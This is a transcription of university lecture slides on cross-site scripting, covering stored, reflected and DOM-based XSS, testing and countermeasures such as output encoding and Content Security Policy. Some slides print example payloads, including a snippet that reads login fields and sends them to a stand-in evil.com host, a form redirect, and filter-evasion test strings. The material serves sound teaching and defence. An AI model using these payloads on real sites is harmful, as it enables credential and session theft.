Hacking Web Sites Cross Site Scripting

Similar documents
Web Security, Summer Term 2012

Web Security, Summer Term 2012

Common Websites Security Issues. Ziv Perry

WEB SECURITY WORKSHOP TEXSAW Presented by Solomon Boyd and Jiayang Wang

Hacking Web Sites OWASP Top 10

Hacking Web Sites 3) Insecure Direct Object Reference

Lecture 17 Browser Security. Stephen Checkoway University of Illinois at Chicago CS 487 Fall 2017 Some slides from Bailey's ECE 422

Advanced Web Technology 10) XSS, CSRF and SQL Injection

WEB SECURITY: XSS & CSRF

Client Side Injection on Web Applications

Web Application Security. Philippe Bogaerts

Attacks Against Websites. Tom Chothia Computer Security, Lecture 11

Web basics: HTTP cookies

CIS 4360 Secure Computer Systems XSS

Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 2

How is state managed in HTTP sessions. Web basics: HTTP cookies. Hidden fields (2) The principle. Disadvantage of this approach

Web Application Security

7) Malicious File Execution

Web 2.0 and AJAX Security. OWASP Montgomery. August 21 st, 2007

Web Security: Vulnerabilities & Attacks

Some Facts Web 2.0/Ajax Security

Web Security IV: Cross-Site Attacks

Web basics: HTTP cookies

2/16/18. CYSE 411/AIT 681 Secure Software Engineering. Secure Coding. The Web. Topic #11. Web Security. Instructor: Dr. Kun Sun

CSCD 303 Essential Computer Security Fall 2017

Is Browsing Safe? Web Browser Security. Subverting the Browser. Browser Security Model. XSS / Script Injection. 1. XSS / Script Injection

CSE361 Web Security. Attacks against the client-side of web applications. Nick Nikiforakis

Project 3 Web Security Part 1. Outline

Welcome to the OWASP TOP 10

Client Side Security And Testing Tools

RKN 2015 Application Layer Short Summary

CSCD 303 Essential Computer Security Fall 2018

Sichere Software vom Java-Entwickler

Web Security: Vulnerabilities & Attacks

CSCE 813 Internet Security Case Study II: XSS

Information Security CS 526 Topic 8

P2_L12 Web Security Page 1

Information Security CS 526 Topic 11

LECT 8 WEB SECURITY BROWSER SECURITY. Repetition Lect 7. WEB Security

Attacks Against Websites 3 The OWASP Top 10. Tom Chothia Computer Security, Lecture 14

Computer Security 3e. Dieter Gollmann. Chapter 18: 1

Lecture Overview. IN5290 Ethical Hacking

Lecture 6: Web hacking 2, Cross Site Scripting (XSS), Cross Site Request Forgery (CSRF), Session related attacks

2/16/18. Secure Coding. CYSE 411/AIT 681 Secure Software Engineering. Web Security Outline. The Web. The Web, Basically.

Application Security through a Hacker s Eyes James Walden Northern Kentucky University

NET 311 INFORMATION SECURITY

Security and Privacy. SWE 432, Fall 2016 Design and Implementation of Software for the Web

OWASP Top 10 Risks. Many thanks to Dave Wichers & OWASP

Content Security Policy

Chrome Extension Security Architecture

7.2.4 on Media content; on XSS) sws2 1

Andrew Muller, Canberra Managing Director, Ionize, Canberra The challenges of Security Testing. Security Testing. Taming the Wild West

Penetration Test Report

Web 2.0 Attacks Explained

Web and Apps 1) HTML - CSS

Progress Exchange June, Phoenix, AZ, USA 1

Secure Coding and Code Review. Berlin : 2012

Web Application Penetration Testing

Application vulnerabilities and defences

Contents. xvii xix xxiil. xxvii

Computer Security CS 426 Lecture 41

last time: command injection

Lecture 6: Web Security CS /17/2017

CS 161 Computer Security

Introduction to Ethical Hacking

Lecture : 3. Practical : 2. Course Credit. Tutorial : 0. Total : 5. Course Learning Outcomes

About the OWASP Top 10

CNIT 129S: Securing Web Applications. Ch 10: Attacking Back-End Components

OWASP TOP 10. By: Ilia

Code-Injection Attacks in Browsers Supporting Policies. Elias Athanasopoulos, Vasilis Pappas, and Evangelos P. Markatos FORTH-ICS

Attacking the Application OWASP. The OWASP Foundation. Dave Ferguson, CISSP Security Consultant FishNet Security.

WHY CSRF WORKS. Implicit authentication by Web browsers

Web Security, Part 2

Developing Ajax Applications using EWD and Python. Tutorial: Part 2

Web security: an introduction to attack techniques and defense methods

The security of Mozilla Firefox s Extensions. Kristjan Krips


CSC 405 Computer Security. Web Security

Browser code isolation

Advanced CSRF and Stateless at OWASP AppSec Research 2012

Web Security II. Slides from M. Hicks, University of Maryland

Cross-Site Request Forgery: The Sleeping Giant. Jeremiah Grossman Founder and CTO, WhiteHat Security

This slide shows the OWASP Top 10 Web Application Security Risks of 2017, which is a list of the currently most dangerous web vulnerabilities in

BOOSTING THE SECURITY OF YOUR ANGULAR 2 APPLICATION

Secure Parameter Filter (SPF) (AKA Protecting Vulnerable Applications with IIS7) Justin Clarke, Andrew Carey Nairn

Top 10 AJAX security holes & driving factors

CHAPTER 8 CONCLUSION AND FUTURE ENHANCEMENTS

Provide you with a quick introduction to web application security Increase you awareness and knowledge of security in general Show you that any

Finding Vulnerabilities in Web Applications

W e b A p p l i c a t i o n S e c u r i t y : T h e D e v i l i s i n t h e D e t a i l s

Robust Defenses for Cross-Site Request Forgery Review

We will show you how we bypassed every XSS mitigation we tested. Mitigation bypass-ability via script gadget chains in 16 popular libraries

CNIT 129S: Securing Web Applications. Ch 12: Attacking Users: Cross-Site Scripting (XSS) Part 2

Writing Secure CFML Pete Freitag, Foundeo Inc. foundeo

IERG 4210 Tutorial 07. Securing web page (I): login page and admin user authentication Shizhan Zhu

CNIT 129S: Securing Web Applications. Ch 3: Web Application Technologies

Web Programming 4) PHP and the Web

GUI based and very easy to use, no security expertise required. Reporting in both HTML and RTF formats - Click here to view the sample report.

Information Security. Gabriel Lawrence Director, IT Security UCSD

(System) Integrity attacks System Abuse, Malicious File upload, SQL Injection

Transcription:

Hacking Web Sites Cross Site Scripting Emmanuel Benoist Spring Term 2018 Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 1

Table of Contents Presentation Stored XSS Reflected XSS DOM based XSS JS manipulating the DOM Testing strategies Countermeasures Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 2

Presentation Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 3

Cross Site Scripting - XSS If the web site allows uncontrolled content to be supplied by users User can write content in a Guest-book or Forum User can introduce malicious code in the content Example of malicious code Modification of the Document Object Model - DOM (change some links, add some buttons) Send personal information to thirds (javascript can send cookies to other sites) Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 4

modus Operandi Attacker Executes Script on the Victim s machine Is usually Javascript Can be any script language supported by the victim s browser Three types of Cross Site Scripting Reflected Stored DOM injection Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 5

Stored XSS Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 6

Stored XSS Hostile Data is taken and stored In a file In a Database or in any other backend system Then Data is sent back to any visitor of the web site Risk when large number of users can see unfiltered content Very dangerous for Content Management Systems (CMS) Blogs forums Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 7

Example of Stored XSS A user has access to a CMS (Content Management System) The user can write some content (home page, news, blogs,...) The user can modify the layout and edit content Hello world <b>everybody</b><br> I want to say something! This content will be saved in a database The content will be shown to all (or some) visitors of the site The user can write: Hello <b> World</b><script>alert("Hello");</ script> Any visitor reading the page will execute the script Page shows an alert message But can be much more dangerous Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 8

Other stored XSS One can manipulate the DOM in JavaScript Access a DOM node, change its content document.getelementbyid() and change innerhtml Suppose the page contains this HTML <h1 id="title">this is the title</h1> The following can be injected Hello <b>world</b> <script>document.getelementbyid(title).innerhtml ="This site was hacked ;</script> Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 9

Reflected XSS Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 10

Reflected XSS The easiest exploit A page will reflect user supplied data directly back to the user It contains something like: echo $_REQUEST[ userinput ]; So when the user types: <script> alert("hello World"); </script> He receives an alert in his browser Danger If the URL (containing GET parameters) is delivered by a third to the victim The Victim will access a modified page SSL certificate and security warning are OK!!! Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 11

Where is reflected XSS? I In any form where input is displayed Search form <form method="get"> <input type="text" name="val"> <input type="submit" value="send"> </form> <?php echo "The search you did is:".$_get[ val ]; print_results($_get[ val ]);?> Error message $x = $_GET[ val ]; if(!validation_is_ok($x)){ echo "Value is not correct:".$x; } Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 12

Where is reflected XSS? II XSS often in pages not intended for web browsers AJAX URL s (normally for transferring data) JSON addresses (for data also) If they are loaded inside a browser, can they be misused. Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 13

Exploit Reflected XSS Not easy: The message is normally only returned to the same person The reflecting XSS is difficult to exploit Idea: transfer an URL to the browser containing the parameters Parameters can be included inside the URL (GET requests and URL encoded parameters) https://www.mysite.com/?param=value URL is included inside a mail Can be a spam (for phishing) Or a targeted email (for spare phishing) The victim will click on the link The link looks very legitimate (right site, https,...) : impossible to see it is not valide Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 14

Example: Change an error message into a login page I Suppose we have this code: <?php $x = $_GET[ val ]; if(!validation_is_ok($x)){ echo "Value is not correct:".$x; }...?> One will write the following link https://www.mysite.com/?val=%3cscript+src%3d% 22evilProgram.js%22%3E%3C%2Fscript%3E Val is URL encoded: <script src="evilprogram.js"></script> Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 15

Example Change an error message into a login page II Program does: Errase the content of the page Create new nodes Build a totally new Document Object Model (see later how to manipulate the DOM) Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 16

DOM based XSS Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 17

DOM Based XSS Document Object Model The document is represented using a tree The tree is rooted with the document node Each tag and text is part of the tree JavaScript is manipulated directly inside the client Does not need to be reflected by the server. Using misconfiguration of client side code Using flows in frameworks (AngularJS, JQuery,... ) XSS is directly injected inside the DOM Using JavaScript misprogramming Using a flow in a framework Using evaluation of rogue data XSS Modifies the Document Object Model (DOM) Javascript can manipulate all the document It can create new nodes, Remove existing nodes Change the content of some nodes Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 18

Example of DOM based XSS Suppose we have the following JS-code <script> document.write("<b>current URL</b> : " + document.baseuri); </script> If you send the following link to the browser (just URL encoded) http://www.example.com/test.html#<script>alert (1)</script> When the script is interpreted The document.wirte() function adds the content to the page: <script>alert(1)</script> It is executed! Nothing was ever sent to the server! Anchor (i.e. after the #) is used for navigation only Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 19

Principles Input (source) is transfered to an output (sink) Input provided by the user If the output is written without being encoded : can be exploited Popular sources document.url, document.documenturi, location.href, location.search, location.*, window.name, document.referrer Popular sinks document.write(), anything.innerhtml= someelements.src (for specific elements) Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 20

JS manipulating the DOM Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 21

Document Object Model HTML is converted into a tree <html> <body> <div id="header"> <h1>title of the page</h1> </div> <div id="menu"> <ul id="menu-list"> <li class="menuitem"> <a href="index.php?id=1">one</a> </li> <li class="menuitem"><a href="index.php?id=2">two</a></ li> <li class="menuitem"><a href="index.php?id=3">three</a ></li> </ul> </div> <div id="content"> <p> Hello World </p> </div> </div> Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 22

Document Object Model (Cont.) Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 23

Javascript can manipulate the DOM Create a new node and insert it in the tree var newli = document.createelement("li"); var newtxtli = document.createtextnode("four"); newli.appendchild(newtxtli); document.getelementbyid("menu-list").appendchild (newli); Delete a node firstchild = document.getelementbyid("menu-list" ).firstchild; document.getelementbyid("menu-list").removechild (firstchild); Modify a node document.getelementbyid("addbutton").onclick= otherfunction; Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 24

What can be done in manipulating the DOM Change the title of a page var my_title = document.getelementbyid("title"); my_title.innerhtml = "<h1>new Title</h1>"; Remove the error messages var mynode = document.getelementbyid("error_list "); while (mynode.firstchild) { mynode.removechild(mynode.firstchild); } Change the destination of a formular document.getelementbyid("form1").action="https ://www.evil.com/dest"; Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 25

AJAX Asynchronous Javascript and XML Javascript is used for interacting with the client Client receive the page from the server Javascript handles events, reacts to key down, value changed, mouse-over, etc. Javascript establishes an asynchronous communication with the server Creates a XMLHTTPRequest object Sends a request to the server (without refreshing the page) Modifies the page according to the data received from the server Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 26

AJAX Example Example:https://www.benoist.ch/SoftSec/examples/ xss/ajax/ajax1.php We have a Form containing a selection box On Change of the selection, the function showcustomer() is executed The function creates an Object (XMLHttpRequest or its MS-cousins) A request is sent to a PHP file, The PHP program generates a Table The table is included in the html DOM. Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 27

AJAX and XSS XSS can steel valuable data : Username/Password, Cookies (session IDs) CSRF Token (protecting against Cross Site Request Forgery). AJAX used For Exporting Data Asynchrone JavaScript for sending data to CC Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 28

Connect another server Same Origin Policy prevents from connecting another server Browser is configured to connect only one site It can also connect to other sites in the same domain or subdomain Javascript is allowed only to send XMLHTTPRequest object to the server of the page Attacker wants to receive information elsewhere: Modify the DOM to insert a new file Create a request that contains the information If the file contains JavaScript, a communication is possible!!! Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 29

Spy the content of a form Spy remains unnoticed by the user Suppose a page contains such a form <form action="login.php" method="post" id=" login_form"> Username <input type="text" name="username" id ="txt_username">, Password <input type="password" name="password " id="txt_password"> </form> Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 30

Spy the content of a form II If the following Javascript is injected in the page Access to the content of the form: var u = document.getelementbyid("txt_username"). value; var v = document.getelementbyid("txt_password"). value; Generate a GET request to another site: var url="https://www.evil.com/?user="+u+"&pwd = +v; var html="<script src= "+url+"></script>"; document.write(html); Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 31

Spy the content of a form III Modification of the DOM Create a new <script> element Need to load the source URL : hence generate a request GET request to https://www.evil.com/ containing two values (user, pwd) Program just needs to write it into a database. Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 32

Testing strategies Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 33

Where can JavaScript be hidden? JavaScript can be hidden anywhere Javascript in <script> tag (the normal way) <script type="text/javascript"> // Here comes the script </script> Or from an external file <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> Javascript as eventhandler <span onmouseover="alert(10);">test 1</span> Javascript as URL <a href="javascript:alert( XSS );">Test 3</a> Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 34

Examples of tests The following XSS scripts can be inserted in pages, to test if the protection is in order: Display a alert with XSS ;!--"<XSS>=&{()} Loads the file xss.js on the corresponding server <SCRIPT SRC=http://www.evil.com/xss.js></SCRIPT> The false image loads a javascript <IMG SRC="javascript:alert( XSS );"> Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 35

Examples of tests (Cont.) The same instruction using UTF-8 encoding <IMG SRC=&# 106;avascrip&#116 Adding some extra brackets will allow to circumvent some testers <<SCRIPT>alert("XSS");//<</SCRIPT> Don t use the javascript instruction <BODY ONLOAD=alert( XSS )> Use the Meta tag <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert( XSS );"> Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 36

Countermeasures Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 37

Protection Combination of Whitelist validation of all incoming data Allows the detection of attacks Appropriate encoding of all output data. prevents any successful script injection from running in the browser Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 38

Input Validation Use Standard input validation mechanism Validate length, type, syntax and business rules Use the Accept known good validation Reject invalid input Do not attempt to sanitize potentially hostile data Do not forget that error messages might also include invalid data Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 39

Strong Output Encoding Ensure that all user-supplied data is appropriately entity encoded before rendering HTML or XML depending on output mechanism means <script> is encoded <script> Encode all characters other than a very limited subset Set the character encoding for each page you output specify the character encoding (e.g. ISO 8859-1 or UTF 8) Do not allow attacker to choose this for your users Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 40

Language Specific recommendations Java Use Struts or JSF output validation and output mechanisms Or use the JSTL escapexml="true" attribute in <c:out...> Do not use <%= %>.NET: use the Microsoft Anti-XSS Library PHP: Ensure Output is passed through htmlentities() or htmlspecialchars() You can also use the ESAPI library developped by OWASP Content is first validated Then it is canonicalize()d to be stored The output is then encoded using: encodeforhtml(), encodeforhtmlattribute() or encodeforjavascript() functions (depending on the use). Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 41

Protection against DOM based XSS Use the right output method (sink) Do not use innerhtml Use innertext or textcontent Never use user controled input in an eval Evaluation of uncontroled input is very dangerous Encoding correctly is quite difficult Solution for the DOM-based XSS example <b>current URL:</b> <span id="contentholder"></ span> <script> document.getelementbyid("contentholder"). textcontent = document.baseuri; </script> Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 42

Content Security Policy The server may include in HTTP headers security policy instructions Content-Security-Policy to be added in HTTP header Defines where the browser may find resources White lists of known good locations. Examples of directives: default-src Define loading policy for all resources type in case of a resource type dedicated directive is not defined (fallback), script-src Define which scripts the protected resource can execute, object-src Define from where the protected resource can load plugins style-src Define which styles (CSS) the user applies to the protected resource, img-src Define from where the protected resource can load images, Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 43

Malvertising Web Sites are using advertisement brokers Content providers (to get money) Merchants (to get customers) Web Sites include JavaScript code provided by brokers Site contains a link to the broker: <script src="https://w.tda.io/scripts/dakt.js"> </script> Broker sends a JavaScript program that is executed Broker code loads the code of the Merchant paying for the advertisement. Risk: is the merchant a good guy? Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 44

Conclusion Cross Site Scripting Script is injected inside the browser by an attacker Can be stored in a database Or just be sent using a link Script is executed inside the browser of the victim Inherits the access of the site: can read credentials and session tokens Prevention Filter inputs (white listing is better than black listing) Encode outputs (or use safe sinks). Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 45

Bibliography OWASP Top 10 (2007, 2013 and 2017) https://www.owasp.org/index.php/testing_for_ Cross_site_scripting https://www.owasp.org/index.php/xss_filter_ Evasion_Cheat_Sheet DOM-based XSS https://www.netsparker.com/blog/web-security/ dom-based-cross-site-scripting-vulnerability/ Berner Fachhochschule Haute cole spcialise bernoise Berne University of Applied Sciences 46